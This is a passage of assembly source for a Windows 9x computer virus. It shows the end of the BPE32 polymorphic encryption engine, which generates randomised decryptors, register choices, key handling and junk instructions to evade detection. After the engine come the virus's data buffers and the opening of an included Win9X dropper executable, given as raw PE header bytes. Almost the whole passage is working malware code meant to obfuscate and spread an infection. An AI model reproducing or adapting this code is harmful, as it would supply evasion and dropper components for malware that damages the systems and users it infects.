;GREG7 - decryption loop + je g2 + cmp al, 3 + je g3 + cmp al, 4 + je g4 + +g0: call gg1 + call greg6 + jmp g_end +g1: call gg2 + call greg5 + jmp g_end +g2: call greg5 + call gg2 + jmp g_end +g3: call greg5 +gg3: call greg6 + jmp g_out +g4: call greg6 + call gg1 + jmp g_end +g5: call greg6 + call greg5 +g_out: call greg4 +g_end: call greg7 + mov al, 61h ;generate POPAD instruction + stosb ; ... + call rjunk ;junk instruction generator + mov al, 0c3h ;RET instruction + stosb ; ... + pop eax ;calculate size of decryptor and encrypted data + sub eax, edi ; ... + neg eax ; ... + mov [esp.Pushad_eax], eax ;store it to EAX register + popad ;restore all regs + ret ;and thats all folx +get_reg proc ;this procedure generates random register + push 8 ;random number (0-7) + call random ; ... + test eax, eax + je get_reg ;MUST NOT be 0 (=EAX is used as junk register) + cmp al, 100b ;MUST NOT be ESP + je get_reg + ret +get_reg endp +make_xor proc ;this procedure will generate instruction, that + push 3 ;will nulify register (BL as parameter) + call random + test eax, eax + je _sub_ + cmp al, 1 + je _mov_ + mov al, 33h ;generate XOR reg, reg + jmp _xor_ +_sub_: mov al, 2bh ;generate SUB reg, reg +_xor_: stosb + mov al, 18h + or al, bl + rol al, 3 + or al, bl + stosb + ret +_mov_: cmp dl, 11 ;generate MOV reg, 0 + je make_xor + mov al, 0b8h + add al, bl + stosb + xor eax, eax + stosd + ret +make_xor endp +gg1: call greg4 + jmp greg5 +gg2: call greg4 + jmp greg6 + +random proc ;this procedure will generate random number + ;in range from 0 to pushed_parameter-1 + ;0 = do not truncate result + push edx ;save EDX + db 0fh, 31h ;RDTCS instruction - reads PSs tix and stores + ;number of them into pair EDX:EAX + xor edx, edx ;nulify EDX, we need only EAX + cmp [esp+8], edx ;is parameter==0 ? + je r_out ;yeah, do not truncate result + div dword ptr [esp+8] ;divide it + xchg eax, edx ;remainder as result +r_out: pop edx ;restore EDX + ret Pshd ;quit procedure and destroy pushed parameter +random endp +make_xor2 proc ;create XOR instruction + mov al, 81h + stosb + mov al, 0f0h + add al, bh + stosb + ret +make_xor2 endp + +greg2 proc ;1 parameter = source/count value + call get_reg ;get register + cmp al, bl ;already used ? + je greg2 + cmp al, 5 + je greg2 + cmp al, bh + je greg2 + mov bh, al + + mov ecx, [esp+4] ;get parameter + push 5 ;choose instructions + call random + test eax, eax + je s_next0 + cmp al, 1 + je s_next1 + cmp al, 2 + je s_next2 + cmp al, 3 + je s_next3 + + mov al, 0b8h ;MOV reg, random_value + add al, bh ;XOR reg, value + stosb ;param = random_value xor value + push 0 + call random + xor ecx, eax + stosd + call make_xor2 + mov eax, ecx + jmp n_end2 +s_next0:mov al, 68h ;PUSH random_value + stosb ;POP reg + push 0 ;XOR reg, value + call random ;result = random_value xor value + xchg eax, ecx + xor eax, ecx + stosd + mov al, 58h + add al, bh + stosb + call make_xor2 + xchg eax, ecx + jmp n_end2 +s_next1:mov al, 0b8h ;MOV EAX, random_value + stosb ;MOV reg, EAX + push 0 ;SUB reg, value + call random ;result = random_value - value + stosd + push eax + mov al, 8bh + stosb + mov al, 18h + or al, bh + rol al, 3 + stosb + mov al, 81h + stosb + mov al, 0e8h + add al, bh + stosb + pop eax + sub eax, ecx + jmp n_end2 +s_next2:push ebx ;XOR reg, reg + mov bl, bh ;XOR reg, random_value + call make_xor ;ADD reg, value + pop ebx ;result = random_value + value + call make_xor2 + push 0 + call random + sub ecx, eax + stosd + push ecx + call s_lbl + pop eax + jmp n_end2 +s_lbl: mov al, 81h ;create ADD reg, ... instruction + stosb + mov al, 0c0h + add al, bh + stosb + ret +s_next3:push ebx ;XOR reg, reg + mov bl, bh ;ADD reg, random_value + call make_xor ;XOR reg, value + pop ebx ;result = random_value xor value + push 0 + call random + push eax + xor eax, ecx + xchg eax, ecx + call s_lbl + xchg eax, ecx + stosd + call make_xor2 + pop eax +n_end2: stosd + push esi + call rjunk + pop esi + ret Pshd +greg2 endp + +greg3 proc + call get_reg ;get register + cmp al, 5 ;already used ? + je greg3 + cmp al, bl + je greg3 + cmp al, bh + je greg3 + cmp al, cl + je greg3 + mov ch, al + mov edx, 12345678h ;get encryption key value +xor_key = dword ptr $ - 4 + + push 3 + call random + test eax, eax + je k_next1 + cmp al, 1 + je k_next2 + + push ebx ;XOR reg, reg + mov bl, ch ;OR, ADD, XOR reg, value + call make_xor + pop ebx + + mov al, 81h + stosb + push 3 + call random + test eax, eax + je k_nxt2 + cmp al, 1 + je k_nxt3 + + mov al, 0c0h +k_nxt1: add al, ch + stosb + xchg eax, edx +n_end1: stosd +k_end: call rjunk + ret +k_nxt2: mov al, 0f0h + jmp k_nxt1 +k_nxt3: mov al, 0c8h + jmp k_nxt1 +k_next1:mov al, 0b8h ;MOV reg, value + jmp k_nxt1 +k_next2:mov al, 68h ;PUSH value + stosb ;POP reg + xchg eax, edx + stosd + mov al, ch + sub al, -58h + jmp i_end1 +greg3 endp + +greg4 proc + mov edx, 12345678h ;get key increment value +key_inc = dword ptr $ - 4 +i_next: push 3 + call random + test eax, eax + je i_next0 + cmp al, 1 + je i_next1 + cmp al, 2 + je i_next2 + + mov al, 90h ;XCHG EAX, reg + add al, ch ;XOR reg, reg + stosb ;OR reg, EAX + push ebx ;ADD reg, value + mov bl, ch + call make_xor + pop ebx + mov al, 0bh + stosb + mov al, 18h + add al, ch + rol al, 3 + stosb +i_next0:mov al, 81h ;ADD reg, value + stosb + mov al, 0c0h + add al, ch + stosb + xchg eax, edx + jmp n_end1 +i_next1:mov al, 0b8h ;MOV EAX, value + stosb ;ADD reg, EAX + xchg eax, edx + stosd + mov al, 3 + stosb + mov al, 18h + or al, ch + rol al, 3 +i_end1: stosb +i_end2: call rjunk + ret +i_next2:mov al, 8bh ;MOV EAX, reg + stosb ;ADD EAX, value + mov al, 0c0h ;XCHG EAX, reg + add al, ch + stosb + mov al, 5 + stosb + xchg eax, edx + stosd + mov al, 90h + add al, ch + jmp i_end1 +greg4 endp + +greg5 proc + push ecx + mov ch, bh + push 4 + pop edx + push 2 + call random + test eax, eax + jne ng5 + call i_next ;same as previous, value=4 + pop ecx + jmp k_end +ng5: mov al, 40h ;4x inc reg + add al, ch + pop ecx + stosb + stosb + stosb + jmp i_end1 +greg5 endp + +greg6 proc + push 5 + call random + test eax, eax + je d_next0 + cmp al, 1 + je d_next1 + cmp al, 2 + je d_next2 + + mov al, 83h ;SUB reg, 1 + stosb + mov al, 0e8h + add al, cl + stosb + mov al, 1 + jmp i_end1 +d_next0:mov al, 48h ;DEC reg + add al, cl + jmp i_end1 +d_next1:mov al, 0b8h ;MOV EAX, random_value + stosb ;SUB reg, EAX + push 0 ;ADD reg, random_value-1 + call random + mov edx, eax + stosd + mov al, 2bh + stosb + mov al, 18h + add al, cl + rol al, 3 + stosb + mov al, 81h + stosb + mov al, 0c0h + add al, cl + stosb + dec edx + mov eax, edx + jmp n_end1 +d_next2:mov al, 90h ;XCHG EAX, reg + add al, cl ;DEC EAX + stosb ;XCHG EAX, reg + mov al, 48h + stosb + mov al, 90h + add al, cl + jmp i_end1 +greg6 endp + +greg7 proc + mov edx, [esp+4] + dec edx + push 2 + call random + test eax, eax + je l_next0 + mov al, 51h ;PUSH ECX + stosb ;MOV ECX, reg + mov al, 8bh ;JECXZ label + stosb ;POP ECX + mov al, 0c8h ;JMP decrypt_loop + add al, cl ;label: + stosb ;POP ECX + mov eax, 0eb5903e3h + stosd + sub edx, edi + mov al, dl + stosb + mov al, 59h + jmp l_next +l_next0:push ebx ;XOR EAX, EAX + xor bl, bl ;DEC EAX + call make_xor ;ADD EAX, reg + pop ebx ;JNS decrypt_loop + mov al, 48h + stosb + mov al, 3 + stosb + mov al, 0c0h + add al, cl + stosb + mov al, 79h + stosb + sub edx, edi + mov al, dl +l_next: stosb + call rjunk + ret Pshd +greg7 endp + +rjunkjc:push 7 + call random + jmp rjn +rjunk proc ;junk instruction generator + push 8 + call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call +rjn: test eax, eax + je j5 + cmp al, 1 + je j_1x2 + cmp al, 2 + je j_2x1 + cmp al, 4 + je j2 + cmp al, 5 + je j3 + cmp al, 6 + je r_end + cmp al, 7 + je jcj + +j1: call junx1 ;one byte junk instruction + nop + dec eax + cmc + inc eax + clc + cwde + stc + cld +junx1: pop esi + push 8 + call random + add esi, eax + movsb + ret +j_1x2: call j1 ;one byte and two byte + jmp j2 +j_2x1: call j2 ;two byte and one byte + jmp j1 +j3: call junx3 + db 0c1h, 0c0h ;rol eax, ... + db 0c1h, 0e0h ;shl eax, ... + db 0c1h, 0c8h ;ror eax, ... + db 0c1h, 0e8h ;shr eax, ... + db 0c1h, 0d0h ;rcl eax, ... + db 0c1h, 0f8h ;sar eax, ... + db 0c1h, 0d8h ;rcr eax, ... + db 083h, 0c0h + db 083h, 0c8h + db 083h, 0d0h + db 083h, 0d8h + db 083h, 0e0h + db 083h, 0e8h + db 083h, 0f0h + db 083h, 0f8h ;cmp eax, ... + db 0f8h, 072h ;clc; jc ... + db 0f9h, 073h ;stc; jnc ... + +junx3: pop esi ;three byte junk instruction + push 17 + call random + imul eax, 2 + add esi, eax + movsb + movsb +r_ran: push 0 + call random + test al, al + je r_ran + stosb + ret +j2: call junx2 + db 8bh ;mov eax, ... + db 03h ;add eax, ... + db 13h ;adc eax, ... + db 2bh ;sub eax, ... + db 1bh ;sbb eax, ... + db 0bh ;or eax, ... + db 33h ;xor eax, ... + db 23h ;and eax, ... + db 33h ;test eax, ... + +junx2: pop esi ;two byte junk instruction + push 9 + call random + add esi, eax + movsb + push 8 + call random + sub al, -11000000b + stosb +r_end: ret +j5: call junx5 + db 0b8h ;mov eax, ... + db 05h ;add eax, ... + db 15h ;adc eax, ... + db 2dh ;sub eax, ... + db 1dh ;sbb eax, ... + db 0dh ;or eax, ... + db 35h ;xor eax, ... + db 25h ;and eax, ... + db 0a9h ;test eax, ... + db 3dh ;cmp eax, ... + +junx5: pop esi ;five byte junk instruction + push 10 + call random + add esi, eax + movsb + push 0 + call random + stosd + ret +jcj: call rjunkjc ;junk + push edx ;CALL label1 + push ebx ;junk + push ecx ;JMP label2 + mov al, 0e8h ;junk + stosb ;label1: junk + push edi ;RET + stosd ;junk + push edi ;label2: + call rjunkjc ;junk + mov al, 0e9h + stosb + mov ecx, edi + stosd + mov ebx, edi + call rjunkjc + pop eax + sub eax, edi + neg eax + mov edx, edi + pop edi + stosd + mov edi, edx + call rjunkjc + mov al, 0c3h + stosb + call rjunkjc + sub ebx, edi + neg ebx + xchg eax, ebx + push edi + mov edi, ecx + stosd + pop edi + call rjunkjc + pop ecx + pop ebx + pop edx + ret +rjunk endp +BPE32 EndP ;BPE32 ends here +VxDCall_hook EndP + + +d1start:include drop1.inc +d1size = dword ptr $ - d1start + +d2start:include drop2.inc +d2size = dword ptr $ - d2start + + +virus_end: +VxDCall0 dd ? +VxDCall_addr db 6 dup (?) +targetname db MAX_PATH dup (?) +tmpname db 8 dup (?) +header db 4+IMAGE_SIZEOF_FILE_HEADER \ + +IMAGE_SIZEOF_NT_OPTIONAL_HEADER dup (?) +section_header db IMAGE_SIZEOF_SECTION_HEADER dup (?) + + db 512 dup (?) +threadstack: +virus_in_arc db 3000h dup (?) +crypted_virus db 2000h dup (?) +size_unint = $ - virus_end + + +workspace1 db 16 dup (?) +workspace2 db 16 dup (?) +ends +End first_gen +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[bg.asm]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[drop1.inc]ΔΔΔ +;First part of Win9X dropper + db 4Dh ; M + db 5Ah ; Z + db 50h ; P + db 0 ; + db 2 ; + db 0 ; + db 0 ; + db 0 ; + db 4 ; + db 0 ; + db 0Fh ; + db 0 ; + db 0FFh ; + db 0FFh ; + db 0 ; + db 0 ; + db 0B8h ; Έ + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 1Ah ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 00ah + db 029h + db 000h + db 030h + db 0 + db 0 + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 1 ; + db 0 ; + db 0 ; + db 0BAh ; Ί + db 10h ; + db 0 ; + db 0Eh ; + db 1Fh ; + db 0B4h ; ΄ + db 9 ; + db 0CDh ; Ν + db 21h ; ! + db 0B8h ; Έ + db 1 ; + db 4Ch ; L + db 0CDh ; Ν + db 21h ; ! + db 90h ;  + db 90h ;  + db 54h ; T + db 68h ; h + db 69h ; i + db 73h ; s + db 20h ; + db 70h ; p + db 72h ; r + db 6Fh ; o + db 67h ; g + db 72h ; r + db 61h ; a + db 6Dh ; m + db 20h ; + db 6Dh ; m + db 75h ; u + db 73h ; s + db 74h ; t + db 20h ; + db 62h ; b + db 65h ; e + db 20h ; + db 72h ; r + db 75h ; u + db 6Eh ; n + db 20h ; + db 75h ; u + db 6Eh ; n + db 64h ; d + db 65h ; e + db 72h ; r + db 20h ; + db 57h ; W + db 69h ; i + db 6Eh ; n + db 33h ; 3 + db 32h ; 2 + db 0Dh ; + db 0Ah ; + db 24h ; $ + db 37h ; 7 + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 50h ; P + db 45h ; E + db 0 ; + db 0 ; + db 4Ch ; L + db 1 ; + db 4 ; + db 0 ; + db 0C6h ; Ζ + db 24h ; $ + db 7Ch ; | + db 5Fh ; _ + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0E0h ; ΰ + db 0 ; + db 8Eh ; Ž + db 81h ;  + db 0Bh ; + db 1 ; + db 2 ; + db 19h ; + db 0 ; + db 22h ; " + db 0 ; + db 0 ; + db 0 ; + db 4 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 2 ; + db 0 ; + db 0 ; + db 1 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 3 ; + db 0 ; + db 0Ah ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 70h ; p + db 0 ; + db 0 ; + db 0 ; + db 4 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 2 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 20h ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 50h ; P + db 0 ; + db 0 ; + db 54h ; T + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 60h ; ` + db 0 ; + db 0 ; + db 0Ch ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 43h ; C + db 4Fh ; O + db 44h ; D + db 45h ; E + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 30h ; 0 + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 22h ; " + db 0 ; + db 0 ; + db 0 ; + db 6 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 20h ; + db 0 ; + db 0 ; + db 0E0h ; ΰ + db 44h ; D + db 41h ; A + db 54h ; T + db 41h ; A + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 28h ; ( + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 0C0h ; ΐ + db 2Eh ; . + db 69h ; i + db 64h ; d + db 61h ; a + db 74h ; t + db 61h ; a + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 2 ; + db 0 ; + db 0 ; + db 0 ; + db 28h ; ( + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 0C0h ; ΐ + db 2Eh ; . + db 72h ; r + db 65h ; e + db 6Ch ; l + db 6Fh ; o + db 63h ; c + db 0 ; + db 0 ; + db 0 ; + db 10h ; + db 0 ; + db 0 ; + db 0 ; + db 60h ; ` + db 0 ; + db 0 ; + db 0 ; + db 2 ; + db 0 ; + db 0 ; + db 0 ; + db 2Ah ; * + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 40h ; @ + db 0 ; + db 0 ; + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 